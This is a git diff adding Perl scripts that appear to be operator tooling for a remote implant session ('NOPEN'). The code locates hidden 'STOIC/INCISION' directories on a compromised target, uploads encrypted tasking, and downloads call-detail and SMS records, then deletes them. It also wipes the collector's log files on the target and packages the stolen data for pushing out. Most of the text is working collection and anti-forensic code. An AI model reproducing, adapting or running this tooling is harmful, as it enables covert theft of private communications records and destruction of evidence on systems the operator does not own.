"cdrlogs"; + $prefix .= ".$projectname" if $projectname; + progprint(".\n". + "$COLOR_FAILURE\n". + "$prog will now tar all log data (encrypted and decrypted). If more than\n". + "one run of $prog is used, the final tarball pushed will contain\n". + "data from ALL runs on $nopen_rhostname. You can answer NO\n". + "when copy-fast asks you about pushing if you know FOR SURE you will\n". + "be running this again later this op.\n\n". + "The file pushed will contain \"$prefix\".\n". + "(but copy-fast will insert a timestamp in it)"); + tickleifneedbe(0,"w",45); + my @packdir = ("./"); + offerball($forcepush,"$prefix.","",$logroot,\@packdir); + } + } else { + mywarn("NO DATA COLLECTED so NONE PUSHED!!"); + } +}#packitup + + +# SUBROUTINES + +sub sortlistingonsize { + # Given file listing array, return array sorted on size + local (@listing) = (@_); + # Hash of strings, $sizehash{size} = all entries in @listing + # (concatenated with newline) of that size. + my %sizehash = () ; + foreach (@listing) { + chomp; + my ($size,$month,$path) = + m,^.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$, ; + $sizehash{$size} .= "\n" + if ($sizehash{$size}); + $sizehash{$size} .= "$_"; + } + my @retval = (); + foreach my $size (sort by_num keys %sizehash) { + push(@retval,split(/\n/,$sizehash{$size})); + } + return @retval +} + +## BELOW MAYBE USE LATER BUT NOT USED NOW + + +createtarball_getcdrhits(); # this exits if they say no. +mymydie + ("\n\n". + "Creating this archive in the background:\n\n". + " $newball" + ); + + +## END MAIN ## + +sub createtarball_getcdrhits { + my $todaystamp = timestamp(short); + my $newball = "${nopen_rhostname}_${todaystamp}.tar.bz2"; + my ($ans) = mygetinput + ($COLOR_NOTE. + "$prog is done processing:\n$COLOR_FAILURE\n\t".join("\n\t",@paths). + "\n$COLOR_NOTE\n". + "See $destdir for local data.\n\n". + "You can now create a fresh tarball in $opdir of the target data called:\n". + " $newball\n\n". + "Do you want to create it?", + "Y" + ); + mymydie + ("\n\n". + "ls -alrtR $destdir\n". + `cd $destdir ; ls -arltR`."\n$COLOR_FAILURE\n". + "$prog is done.\n\n". + "Data can be found locally (see listing above) but NOT in a tarball yet.\n". + "Here is a pastable to make one:\n\n". + "cd $destdir ; tar cvjf $opdir/$newball .\n\n" + ) unless ($ans eq "y"); + + # If we continue, fork, parent creates tarball in background, + # child exits # If they wanted the tarball, fork/close here releases the + # NOPEN window that called us, we popup an xterm once tarball + # is done. + return if fork; + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + my $taroutfile = "$optmp/.autogetcdrhits.$$"; + my $tarcmd = "cd $destdir ; tar cvjf $opdir/$newball . 2>&1"; + if (open(OUT,"> $taroutfile")) { + print OUT + "\n\n". + $COLOR_FAILURE. + gmtime(). + "\n\nNow tarring up the results with:\n\n". + $COLOR_NOTE. + $tarcmd."\n\n". + $COLOR_NORMAL. + " made by: $prog $origargs\n". + " on: $nopen_rhostname\n\n". + "Verbose tar output will follow when it is done:\n\n"; + close(OUT); + if (fork()) { + exec("xterm -title autogetcdrhits_${nopen_hostonly}_now_building_$newball". + "-ut +cm +cn -sk -sb -sl 15000 -geometry 68x67+720+26 -e tail -50f $taroutfile"); + exit; + } + sleep 2; + if (open(OUT,">> $taroutfile")) { + if (open(GETCDRHITSIN,"$tarcmd |")) { + while () { + print OUT; + } + close(GETCDRHITSIN); + } + print OUT "\n\n".gmtime()."\n\n$tarcmd\n\nCommand is done:\n\n". + `cd $opdir ; ls -alrth $newball`. + $COLOR_FAILURE."\n\n". + "(close this window with Ctrl-C anytime.)\n$COLOR_NORMAL\n"; + close(OUT); + } + } +}#createtarball + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs getcdrhits"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=getcdrhits\" is used. + +"; + + my $destdir_tmp = "$opdown/\$nopen_rhostname/via-gs.getcdrhits"; + $destdir = "$opdown/$nopen_rhostname/via-gs.getcdrhits"; + $destdirname = "$nopen_rhostname/via-gs.getcdrhits"; + + $bailfile = "$optmp/BAILGETCDRHITS.$$"; + + @defpaths = ("er*/aux_*/output/final", + "er*/out/f"); + @deflogpath = ("er*/logs/final", + "er*/log/f"); + + $gsusagetext=" +Usage: $prog [options] [HIDDENPATH/TO/REMOTE/FILE-OR-DIR [PATH/2 ..]] + +$prog handles tasking and collection for targets running ER and one +or more parsers. For targets where only argfile tasking is needed, after +the argfiles are handled you have an opportunity to abort before any +collection begins (or you can use the -t/Task only option). + +$prog first looks for your argfile in $opdir and /mnt/zip. If it +finds one, it prompts with that as the default. When given an argfile to to +process, it is encrypted and uploaded. You are then prompted which directories +to put it in and how many start actions are in each. (Enter \"none\" to skip +argfile tasking entirely.) + +$prog then uses -ls and -get to find and then pull all CDR** hits +found in the target's STOIC or INCISION hidden directory. It then removes the +target files it just pulled. + +** We generically use the term CDR here and in the filename pushed, but the +data collected may be some subset of several varieties (e.g., cdr, sms, etc.), +the exact nature of which is immaterial here. + +If none are provided, the target paths retrieved will be: + +"; + foreach $thispath(@defpaths) { + $gsusagetext .= " $thispath\n"; + } + $gsusagetext .= " +OPTIONS + -h/-v Show usage/version + -O Perform decryption locally (defaults to elsewhere now) + -L paths \",,\" delimited list of ENEMYRUN log locations + (relative to the hidden dir) [@deflogpath] + -s N,M Split the pull M ways, this window is N of M. Lets several windows + share the load. The 1,M instance will provide pastables for you to + run the other instances. The files are split fairly evenly by size, + each instance taking a large then a small file until the list is + exhausted. Use M between 3-5 for best performance. + -l list List of remote PATHS to getcdrhits (blank/#comment lines ignored) + -b exprs Blacklist: getcdrhits will NOT pull/delete files matching these + regular expressions (skip files that match), for each expr given + (\",,\" delimited, no whitespace) + -d dir Source directory on target (default is STOIC hidden directory) + -D key Decrypt key (required) (Must use key the parser is running with) + -T proj Project, used in the tarball filename created/pushed. (required) + -F Force re-pulls of files pulled in previous $prog instance + -t Perform argfile tasking only, without collection. + -M max Set the max (in MB) we allow our bwmonitor to reach, downloads + will stop when we reach that level. (default is unlimited) + +Usage: $prog [options] [HIDDENPATH/TO/REMOTE/FILE-OR-DIR [PATH/2 ..]] + +"; + + my $notused = " + -U Do NOT re-use the target -ls of this/these PATHs if done + before. Use -U if you want to collect data newer than the first + run of $prog, if any. +"; + mydie("bad option(s)") if (! Getopts( "hvl:d:L:b:D:T:Os:a:tFM:" ) ) ; + ($bwmax,$maxdownload) = (); + if ($opt_M > 0 and $opt_M =~ /^\d+$/) { + $bwmax = "MAXDOWNLOAD=$opt_M"; + $maxdownload = $opt_M; + } + $forcereget = defined $opt_F ? "FORCEREGET" : ""; +# my $reusels = defined $opt_U ? "U" : ""; + $taskonly = $opt_t; + + my $def_a = "adm1"; + $argname = defined $opt_a ? $opt_a : $def_a; + mydie("-a $opt_a cannot contain /") + if ($argname =~ m,/,); + + if ($listfile = $opt_l) { + mydie("-l $listfile must be a local file listing remote paths") + unless (-f $listfile and -s $listfile); + } + if ($skipexpr = $opt_b) { + mydie("-b \"$skipexpr\" cannot contain whitespace") + if $skipexpr =~ /\s/; + my @exprs = split(/,,/,$skipexpr); + $skipexpr = ""; + foreach (@exprs) { + $skipexpr .= "\|$_"; + } + } + mydie("-s $opt_s not valid, must be 0 < N <= M") + unless (!$opt_s or + ($opt_s =~ /^(\d+),(\d+)$/ and $1 <= $2 and $1 > 0)); + ($mysplitpart,$splitcount) = ($1,$2) if $opt_s; + $mysplitpart = 1 unless $mysplitpart; + $skipexpr =~ s/^\|//; + usage() if ($opt_h or $opt_v); + $olddatafile = $opt_f; +#dbg("verbose=$verbose= opt_V=$opt_V"); + + $socket = pilotstart(quiet); + + if ($opt_d) { + $srcdir = $opt_d; + } else { + my @multiplehidden = (); + ($srcdir) = gethiddendir(0,0,\@multiplehidden); + if (@multiplehidden > 1) { + my %multiplehidden = (); + foreach (@multiplehidden) { + $multiplehidden{$_}++; + } + my $default = ""; + foreach my $dir (@multiplehidden) { + my ($output,$noutput,@lines) = + doit("-ls -d $dir/er*"); + next unless $output; + $default = $dir; + } + my $more = ""; + $more = "\nAt least one seems to have er* directories (see above)." + if $default; + while (1) { + my ($ans,$longans) = mygetinput + ("There are multiple STOIC-style directories.$more\n\n". + "Enter ABORT here to abort.\n\n". + "Which should we use?",$default); + mydie("User aborted") if ($ans eq "a"); + if ($multiplehidden{$ans}) { + $srcdir = $longans; + last; + } + $more = "You must enter one of the hidden directories.\n\n$more" + unless ($more =~ /You must enter/); + } + } + ($srcdir2) = ($srcdir); + mydie("Hidden directory not found, use -d to point\n". + "to directory data can be found in.") + unless $srcdir; + } + if ($opt_D) { + $cryptkey = $opt_D; + mydie("-D $cryptkey is not a string of hex digits") + unless ($cryptkey =~ /^[a-f0-9]+$/); + } else { + mydie("-D KEY is now a required field"); + } + $heredecrypt = $opt_O; + if ($opt_T) { + $projectname = $opt_T; + } else { + mydie("NEW: -T PROJECTNAME is now required."); + } + $forcepush = 1 if $projectname; + + if ($opt_L) { + @remotelogpath = split(",,",$opt_L); + } else { + @remotelogpath = @deflogpath; + } + + if (@ARGV) { + @remotepaths = @ARGV; + } else { + @remotepaths = @defpaths; + } + if ($listfile) { + if (open(GETCDRHITSIN,$listfile)) { + while () { + s/^\s*//; + s/\s*$//; + next if /^#/; + push(@remotepaths,$_) if $_; + } + close(GETCDRHITSIN); + } else { + mydie("Cannot open $listfile"); + } + } + @remotepaths = uniqify_array(@remotepaths); +} #myinit + diff --git a/Linux/etc/autogetcdrhits.prev b/Linux/etc/autogetcdrhits.prev new file mode 100755 index 0000000..e70d2f4 --- /dev/null +++ b/Linux/etc/autogetcdrhits.prev @@ -0,0 +1,1454 @@ +#!/usr/bin/env perl +## +$VER="2.0.0.20"; +$| = 1 ; + + +#BUGGY: half the files did not end up in /tmp for packup + +@ourfilespulled = (1); # Appended to by nopengetfiles iff it is not empty, + # so this is a cumulative list of all files pulled + # via nopengetfiles() during this run. + # (later we remove the dummy "1" entry via shift in 1, instance + # and ignore it in the 2+, instances we read in). +@remotepaths = (); # Paths, possibly with wildcards, in which ER data is found. + # E.g.: er*/aux_*/output/final +@actionpaths = (); # List of directories, one per start action we are tasking + # (discovered from @remotepaths) + +myinit() ; + +# Log this key in a cryptkey file for this host +$keyfile = makekeyfile(); + +# Globals +$logroot = "$optmp/er_logs/$nopen_rhostname"; +$collroot = "$optmp/er_coll/$nopen_rhostname"; +chomp($downroot = `find /current/down/er_* -type d | tail -1`); +unless ($downroot =~ /$nopen_myip/) { + $downroot = "$opdown/er_".uc $projectname.".$nopen_rhostname"; +} +`mkdir $downroot`; +chomp($collcountbefore = `find $collroot -type f | wc -l`); +chomp($logcountbefore = `find $logroot -type f | wc -l`); + +($countdone,$collcountafter,$collcountbefore,$newargfile,$encargfile, + $logcountafter,$logcountbefore) = (); +# ASSERT: pulling data from global @remotepaths +my @remotegetcdrhits = (); + +# @otherskipstrs is how we obfuscate "log" content on hosts we +# do not have a hidden directory on. +my @otherskipstrs = ("bb5e8"); +($output,$oldnopenlines,$nopenlines,@cdroutput,@tmp, + @oldcdroutput) = (); +($outputl,$nopenlinesl,@cdroutputl) = (); + + + +if ($mysplitpart == 1) { + foreach my $path (@remotepaths) { + # Remove the escape here we use quotes + ($output,$oldnopenlines,@tmp) = + nopenlss("-FQ","$srcdir/$path"); + my ($ans,$longans) = ""; + if ($oldnopenlines =~ /OLD DATA/) { + my ($mins) = $oldnopenlines =~ /([\.\d+])/; + ($ans,$longans) = mygetinput + ("A previous instance of $prog has populated a list of files on target\n". + "as of $mins minutes ago matching your target path:\n\n". + " $srcdir/$path\n\n". + "It is safe to euse the old listing even if some of the files have\n". + "been pulled, but best to

opulate a new listing if you know the data\n". + "previously listed was completely downloaded/deleted.\n\n". + "Do you want to euse that old listing,

opulate a new one, or ?", + "P"); + mydie("User aborted") if ($longans =~ /^abort/i); + } + unless ($ans eq "r") { + $oldnopenlines = ""; + ($output,$nopenlines,@tmp) = + nopenlss("-UFQ","$srcdir/$path"); + } + my $timestr = gmtime(); + # We save this output. Later may reuse if @cdroutput not populated on target. + unless ($host_output{"CDRS"}) { + # %host_output is not necessarily CDRs specific. Clear it if not used + # in previous autogetcdrhits. + undef %host_output; + newhostvar("host_output{CDRS}","CDRS\n"); + } + newhostvar("host_output{$timestr}", + "$path\n". + join("\n",@tmp)) + unless $oldnopenlines; + push(@cdroutput,@tmp); + } + + if (!@cdroutput) { +# if (keys %host_output and $host_output{"CDRS"}) { +# my ($s,$have,$each,$are) = ("","has","it","is"); +# # For plural, do not count the "CDRS" one. +# if (keys %host_output > 2) { +# $s = "s"; +# $have = "have"; +# $each = "each"; +# $are = "are"; +# } +# my ($moreprompt,$moreprompt2,$remaining) = (); +# my %usethese = (); +# while (1) { +# my ($default,$count,$prompt) = (); +# my @allowed = ("abort","done", +# "ABORT","DONE", +# ); +# $moreprompt2 = "\n\n"; +# foreach (sort keys %host_output) { +# dbg("Looping over host_output on line=$_="); +# next if (/^CDRS/); +# next if $usethese{$_}; +# my ($path) = split(/\n/,$host_output{$_}); +# push(@allowed,$_); +# $count++; +# $prompt .= " $_ $path\n"; +# # Default is first sorted, or oldest +# $default = $_ unless $default; +# } +# # They can choose a second listing if they want to combine the two, but +# # default is to use one and then DONE. +# $default = "DONE" if (keys %usethese); +# last unless $prompt; +# my ($ans,$longans) = mygetinput +# ($moreprompt2. +# "There is currently no data to find remotely in the path(s) provided.\n\n". +# "However, $count previous instance$s of $prog $have done remote listings.\n". +# "What path at what time are listed here:\n\n". +# $prompt."\n". +# "The time$s $each$remaining was done and the path thereon $are listed above.\n\n". +# "Paste in the complete timestamp, day through year, of the one you want to use\n". +# "(defaults to the oldest one) to proceed with packing up your data, or you can .\n\n". +# $moreprompt. +# "Enter ABORT, a timestamp, or DONE:", +# $default,@allowed +# ); +# $moreprompt2 = "\n\n"; +# mydie("User aborted") if ($longans =~ /^abort/i); +# last if ($longans =~ /^\s*done/i); +# $remaining = " one remaining"; +# # Strip begin/end spaces. +# ($longans) = $longans =~ /\s*(\S.*\S)\s*/; +# unless ($host_output{$longans}) { +# $moreprompt = "\n$COLOR_FAILURE\nINVALID ANSWER: $longans\n$COLOR_NORMAL\n"; +# next; +# } +# $usethese{$longans}++; +# $moreprompt = "Enter another time if you want to combine another previous listing.\n\n"; +# } +# @remotepaths = (); +# foreach (keys %usethese) { +# my ($path,@listing) = split(/\n/,$host_output{$_}); +# push(@cdroutput,@listing); +# push(@remotepaths,$path); +# } +# } + mydie("There are no files in @remotepaths") + unless ($collcountbefore or $logcountbefore or @cdroutput); + unless (@cdroutput) { + my ($ans) = mygetinput + ($COLOR_FAILURE."No data files remain on target.\n\n".$COLOR_NORMAL. + "However, previously you collected files in one of:\n". + " $collroot ($collcountbefore files)\n". + "OR $logroot ($logcountbefore files)\n\n". + "Do you want to pack those up now?", + "Y" + ); + mydie("OK, then there is nothing more to do") + unless ($ans eq "y"); + packitup(1); + exit; + } + offerabort(".\n\n". + join("\n",@cdroutput)."\n\n". + "About to reprocess the files listed above. Those already downloaded will not\n". + "be downloaded again, but they will be copied into $collroot.\n". + "This will allow previously downloaded files that were not processed\n". + "(which includes testing decryption at least once and preparing the files\n". + "for upload in a tarball).\n\n"); + tickleifneedbe(0,0,60); # Run something once a minute on target + } +} +dbg("skipexpr=$skipexpr= BEFORE (@cdroutput)"); +my $lessfiles = ""; +my $skipfiles = ""; + +my @cdroutputskipped = (); +if ($mysplitpart == 1) { + if ($skipexpr) { + @cdroutputskipped = grep /$skipexpr/ , @cdroutput; + + foreach my $otherskip (@otherskipstrs) { + my @otherskip = grep /$otherskip/ , @cdroutput ; + if (@otherskip) { + my ($ans,$longans) = mygetinput + ("You asked to blacklist \"$skipexpr\" files, but$COLOR_FAILURE NONE WERE FOUND\n". + "$COLOR_NORMAL.\n\n". + "There were, however, files containing \"$otherskip\", which is sometimes\n". + "used to indicate log files (depending on the target).\n\n". + "Do you want to change your blacklist argument from \"$skipexpr\" to \"$otherskip\"?", + "Y" + ); + if ($ans eq "y") { + $skipexpr = $otherskip; + @cdroutputskipped = @otherskip; + # Skip other prompt below via $nevermind++ + $nevermind++; + last; + } + } + } + unless (@cdroutputskipped) { + my ($ans,$longans) = mygetinput + ("You asked to blacklist \"$skipexpr\" files, but$COLOR_FAILURE NONE WERE FOUND\n". + "$COLOR_NORMAL.\n\n". + "If you want to try some other blacklist string, enter it here, or\n". + "type \"ABORT\" to stop $prog entirely. If you enter nothing at all,\n". + "no blacklist will be used.\n\n". + "Enter your new blacklist, \"ABORT\", or nothing:" + ); + mydie("Aborted by user") + if ($longans =~ /^\s*abort/i); + if ($longans and $longans ne "nothing") { + $skipexpr = $longans; + @cdroutputskipped = grep /$skipexpr/ , @cdroutput; + } + } + } +dbg("cdroutputskipped=(\n". + join("\n",@cdroutputskipped)."\n)\n"); + if (my $skipcount = @cdroutputskipped) { + $skipfiles = join("\n",@cdroutputskipped)."\n\n"; + @cdroutput = grep !/$skipexpr/ , @cdroutput; + dbg(" \@cdroutput = grep ! /$skipexpr/ , \@cdroutput;"); + $lessfiles = "After blacklisting \"$skipexpr\" (skipping $skipcount), files now include:\n". + join("\n",@cdroutput)."\n\n"; + } else { + $lessfiles = "${COLOR_FAILURE}No files were skipped, none matched \"$skipexpr\".\n". + "$COLOR_NORMAL\n" + if $skipexpr; + } + my $problem = handleargfiles(); + if ($problem) { + offerabort($problem."\n\n".$COLOR_NORMAL); + } +} + +mydie("Argfile tasking is complete.") + if ($taskonly); + +# Populate list we pull/rm +my @getlist = (); +my @completelist = (); +# Populate @getlist based on -sN,M split or not +my $getcount = 0; +my $nopulls = 0; +if ($mysplitpart == 1) { + foreach (@cdroutput) { +# if (m,.* \d\d:\d\d \d\d\d\d (/.*),) { + if (m,-.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$,) { + my ($size,$month,$path) = ($1,$2,$3); + push (@getlist,$path); + push (@completelist,$_); + } + } + my $totalfilecount = @completelist; + $splitcount = 1 unless $splitcount; + $splitcount = minof($splitcount,$totalfilecount) + if ($splitcount); + if (!$totalfilecount and $skipfiles) { + $splitcount = 1; + offerabort + ("You blacklisted \"$skipexpr\" files, and after ignoring\n". + "those, there are no files to collect. If you want to download\n". + "and decrypt the blacklisted files, abort here and re-run the same\n". + "command less any blacklist option."); + $nopulls++; + } else { + mydie("Cannot proceed, bug: splitcount=$splitcount= mysplitpart=$mysplitpart= totalfilecount=$totalfilecount=") + unless ($splitcount > 0); + } + + my $counteach = int(0.50 + (@completelist / $splitcount)); + + if ($splitcount > 1) { + my @countlist = sortlistingonsize(@completelist); + # Clear @getlist, we start over here with the splitting of @countlist + @getlist = (); + # we populate each split by alternating one of the top (smallest) and bottom (largest) + # until we exhaust them all. This way, each split has about the same number of bytes to it. + my $dobottom = 0; + for (my $parti=1;$parti<=$splitcount;$parti++) { + if (open(CDROUT,">$optmp/getcdrhits.$nopen_rhostname.$parti.of.$splitcount")) { + my $count = $counteach; + while ($count and @countlist) { + my $str = ""; + if ($dobottom) { + $str = shift @countlist; + } else { + $str = pop @countlist; + } + print CDROUT "$str\n"; + $dobottom = ! $dobottom; + $count--; + } + close(CDROUT); + } + } + mydie("This is bad, finished $splitcount files, still have ".scalar @countlist."\n". + "entries left in completelist:\n\n". + `ls -al $optmp/getcdrhits.$nopen_rhostname.*.of.$splitcount`."\n\n". + "completelist = (". + "\n ".join("\n ",@countlist). + "\n )") + if (@countlist); + } +} + +if ($splitcount > 1 and $mysplitpart == 1) { + my $cmd = "-gs getcdrhits $origargs"; + my $cmds = ""; + $cmd =~ s/-s\s*(\d+),/-s III,/; + for ($i=2;$i<=$splitcount;$i++) { + $cmds .= " $cmd\n"; + $cmds =~ s/III,/$i,/; + } + `rm $optmp/DONE.getcdrhits.$nopen_rhostname* 2>/dev/null`; + offerabort(#"splitcount=$splitcount= mysplitpart=$mysplitpart=". + "If you are ready to continue with all $splitcount instances,\n". + "here are pastables for your other ".int($splitcount - 1)." instances:\n\n". + $cmds."\n\n". + "If not, you can abort here (and not run the pastables).\n" + ); +} + +# ASSERT: At this point, either @getlist is full and we are part 1 of 1, or +# @getlist is empty and we populate our @getlist from $taskfile. + +if (!@getlist) { + # In -s N,M mode, we have to populate @getlist and @cdroutput from the $i.of.M file. + my $sleepcount=0; + my ($lastfilesize,$filesize,$samecount) = (); + my $taskfile = "$optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount"; + # Parts 2+ must wait here until their tasking is written. + while ($mysplitpart > 1) { + sleep 1; + if (-e "$optmp/abortcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount") { + unlink("$optmp/abortcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount"); + mydie("User aborted"); + } + $filesize = -s $taskfile; + tickleifneedbe(0,0,60); # Run something once a minute on target + if ($sleepcount % 20 == 0) { + progprint("Waiting on part 1 of $splitcount to build tasking for this instance\n". + "($optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount).\n\n". + "Touch this file to abort: touch $optmp/abortcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount"); + } + $sleepcount++; + if ($filesize > 0) { + dbg("taskfile there: \n". + `ls -al $taskfile`. + "file size now: $filesize=\n". + "last file size: $lastfilesize=\n". + "samecount=$samecount="); + unless ($lastfilesize > 0) { + $lastfilesize = $filesize; + next; + } + # Sleep a bit more, make sure + last if ($filesize == $lastfilesize and ($samecount++ > 1)); + } + } + if (open(CDRIN,$taskfile)) { + @cdroutput = (); + while () { + chomp; + next if /^\s*\#/; + if (m,.* \d\d:\d\d \d\d\d\d (/.*),) { + push (@getlist,$1); + push (@cdroutput,$_); + } + } + mydie("No tasking in $optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount") + unless @getlist; + progprint($COLOR_NORMAL. + $lessfiles."\n\n". + "Just read in session $mysplitpart of $splitcount tasking from \n". + " $optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount:\n\n ". + join("\n ",@getlist)); + $lessfiles = ""; + } else { + mydie("Cannot open $optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount") + unless $nopulls; + } +} + +my $splitmore = ""; +$splitmore = " (part $mysplitpart of $splitcount)" + if ($splitcount > 1); + +$getcount = @getlist; +if ($nopulls) { + offerabort + ($lessfiles."\n ". + "There are no fiiles to pull. We will continue with the\n". + "log cleaning if there is any.". + ""); +} else { + offerabort + ($lessfiles."\n ". + join("\n ",@getlist)."\n\n". + "$prog$splitmore is about to download and/or delete the $getcount files above.". + ""); +} +# Why was this FORCEREGET on? I forget. 20100708 +#nopengetfiles("FORCEREGETNOBUILTINRMLISTIS-lsWIPEAFTERWITHOUTPROMPT",@cdroutput); +nopengetfiles("$bwmax${forcereget}NOBUILTINRMLISTIS-lsWIPEAFTERWITHOUTPROMPT",@cdroutput); + +# ASSERT: nopengetfiles() now populates @nopengotfiles (if it is nonempty), +# giving us a complete list of full paths of files pulled this run-through. + +## Loop makes sure rm line does not get too big. +#my $list=""; +#while (@getlist) { +# $list .= shift @getlist; +# $list .= " " ; +# if (length $list > 1500) { +# doit("rm $list"); +# $list=""; +# } +#} +#doit("rm $list") if $list; + +# Only run this if skipexpr was defined. +# NOTE: Only first instance if -s N,M is used will have @cdroutputskipped populated +if ($skipexpr and @cdroutputskipped) { +# Populate list to rm blacklisted file with prompt + my @skiplist = (); + foreach (@cdroutputskipped) { + push (@skiplist,$1) + if m,.* \d\d:\d\d \d\d\d\d (/.*),; + } + + offerabort + ($skipfiles. + "$prog is about to delete the blacklisted (and not downloaded) files listed above.". + "") ; + + + # Loop makes sure rm line does not get too big. + my $listskip=""; + while (@skiplist) { + $listskip .= shift @skiplist; + $listskip .= " " ; + if (length $listskip > $nopenmaxcommandlength) { + doit("rm $listskip"); + $listskip=""; + } + } + doit("rm $listskip") if $listskip; +} + +# Pulling the ER logs from disk, but only in master 1,M instance +if ($mysplitpart == 1) { + foreach my $pathlog (@remotelogpath) { + # Remove the escape here we use quotes + ($outputl,$nopenlinesl,@tmp) = + nopenlss("-UFQ","$srcdir/$pathlog"); + $pathlog = "\"$pathlog\"" if $pathlog =~ /\s/; + push (@cdroutputl,@tmp); + } + + if (@cdroutputl) { + my $logfiles = join("\n",@cdroutputl)."\n\n"; + # Populate list we pull/rm + my @getlistl = (); + foreach (@cdroutputl) { + #$COLOR_SUCCESS="\033[2;32m"; + #$COLOR_FAILURE="\033[2;31m"; + #$COLOR_WARNING="\033[1;33m"; + #$COLOR_NORMAL="\033[0;39m"; + #$COLOR_NOTE="\033[0;34m"; + # Remove colors + s,\033\[\d+;\d+m,,g; + push (@getlistl,$1) + if m,.* \d\d:\d\d \d\d\d\d (/.*),; + } + + my ($ans,$longans) = mygetinput + ("NOTE: This is the first of two questions.\n". + " The default in the NEXT question will be YES for delete\n". + " WITHOUT downloading, which is the norm. Hence, the norm for\n". + " this question, download AND delete, is No.\n\n". + "Do you want to DOWNLOAD$COLOR_FAILURE and$COLOR_NORMAL delete the ER log files listed above?", + "N" + ); + + unless ($ans eq "n") { + nopengetfiles("$bwmax${forcereget}LISTIS-lsWIPEAFTERWITHOUTPROMPT",@cdroutputl); + } else { + ($ans,$longans) = mygetinput + ($logfiles. + "Do you want to delete the ER log files listed above?", + "Y" + ); + unless ($ans eq "n") { + # Loop makes sure rm line does not get too big. + my $loglist=""; + while (@getlistl) { + $loglist .= shift @getlistl; + $loglist .= " " ; + if (length $loglist > $nopenmaxcommandlength) { + doit("rm $loglist"); + $loglist=""; + } + } + doit("rm $loglist") if $loglist; + } + } + } +} + + +if ($mysplitpart > 1) { + if (open(CDROUT,">$optmp/DONE.getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount")) { + foreach (@ourfilespulled) { + print CDROUT "$_\n"; + } + print CDROUT "# ".gmtime()."\n"; + close(CDROUT); + } else { + mydie("Part $mysplitpart of $splitcount is done, but it could not write\n". + "to $optmp/DONE.getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount\n\n". + "This is bad, get help."); + } + mydie("Part $mysplitpart of $splitcount is done. Part 1 will now pack up the data.") + if ($splitcount == 2); + mydie("Part $mysplitpart of $splitcount is done. Part 1 will pack up the data\n". + "once all the other parts are done."); +} else { + my $sleepcount = 0; + unlink("$optmp/CONTINUE.getcdrhits.$nopen_rhostname"); + while ($splitcount > 1) { + tickleifneedbe(0,0,60); # Run something once a minute on target + my $alldone = 1; + sleep 1; + for ($parti=2;$parti<=$splitcount;$parti++) { + $alldone = 0 + unless (-f "$optmp/DONE.getcdrhits.$nopen_rhostname.$parti.of.$splitcount"); + } + last if ($alldone); + my $more = "\n\n(You can skip waiting for them if something is wrong with this:\n\n". + " touch $optmp/CONTINUE.getcdrhits.$nopen_rhostname\n\n". + " (ALERT someone if that is the case though.)\n\n" + if ($sleepcount > 122); + my $more2 = `ls -al $optmp/DONE.getcdrhits.$nopen_rhostname*`; + progprint($COLOR_FAILURE. + "\n\n".$more.$COLOR_NORMAL. + "Part 1 of $splitcount is waiting for the other parts to finish.\n\n". + "A \"w\" will be done every minute until then to keep this window alive.\n\n". + $more2) + unless ($sleepcount % 120); + $sleepcount++; + last if (-f "$optmp/CONTINUE.getcdrhits.$nopen_rhostname"); + } + unlink("$optmp/CONTINUE.getcdrhits.$nopen_rhostname"); +} + + +# ASSERT: We are $mysplitpart == 1 and all other instances (if any) are done +packitup() ; + +while (@actionpaths) { + my $erpath = shift(@actionpaths); + doit("-ls -R $erpath"); + if (@actionpaths) { + mygetinput("Above is the $erpath directory tasked earlier, shown here so you\n". + "can confirm if any new hits have shown up or not.\n\n". + "Hit enter to see the next one."); + } else { + progprint("Above is the $erpath directory tasked earlier, shown here so you\n". + "can confirm if any new hits have shown up or not."); + } +} + +exit 1; + +sub handleargfiles { + my @argfiles = (); +#TODO: Why is this failing? +# my @tmp = findfilematching("argfile","f"); + my @tmp = split(/\n/,`find /current/ /mnt/zip -type f 2>/dev/null | grep argfile`); + if (@tmp) { + # Put this project entries earlier in array, eliminate any enc files. + @tmp = grep ! /enc$/, @tmp; + my @tmp2 = grep /$projectname/i, @tmp; + @argfiles = grep /(forward|fwd)/, @tmp2; + push(@argfiles, grep ! /(forward|fwd)/, @tmp2); + push(@argfiles, grep ! /$projectname/i, @tmp) + } + my $default = $argfiles[0]; + my $listing = ""; + if (@argfiles) { + my @last = grep /$projectname/i, @argfiles; + my @first = grep !/$projectname/i, @argfiles; + $listing = `find @first -type f -ls | lss | sed "s/.*root //g"` + if @first; + $listing .= `find @last -type f -ls | lss | sed "s/.*root //g"` + if @last; + } + $default = "none" unless $default; + my ($ans,$longans,$count,$more,$more2); + while (!$newargfile and $longans ne "none") { + $more = "\n$COLOR_FAILURE\nINVALID RESPONSE\n$COLOR_NORMAL\n" + if $count++; + ($ans,$longans) = mygetinput + ($listing."\n\n".$more. + "If there is a fresh argfile to upload, enter it here (the$COLOR_FAILURE .txt$COLOR_NORMAL one).\n\n". + "If you need to abort now and re-try this later, enter$COLOR_FAILURE ABORT$COLOR_NORMAL.\n\n". + "If there is no tasking to do, answer$COLOR_FAILURE NONE$COLOR_NORMAL.\n\n". + "Argfile to use ($prog will encrypt it)\n",$default + ); + mydie("User aborted") if ($longans =~ /^abort/i); + return if ($longans =~ /^none/i); + $more2 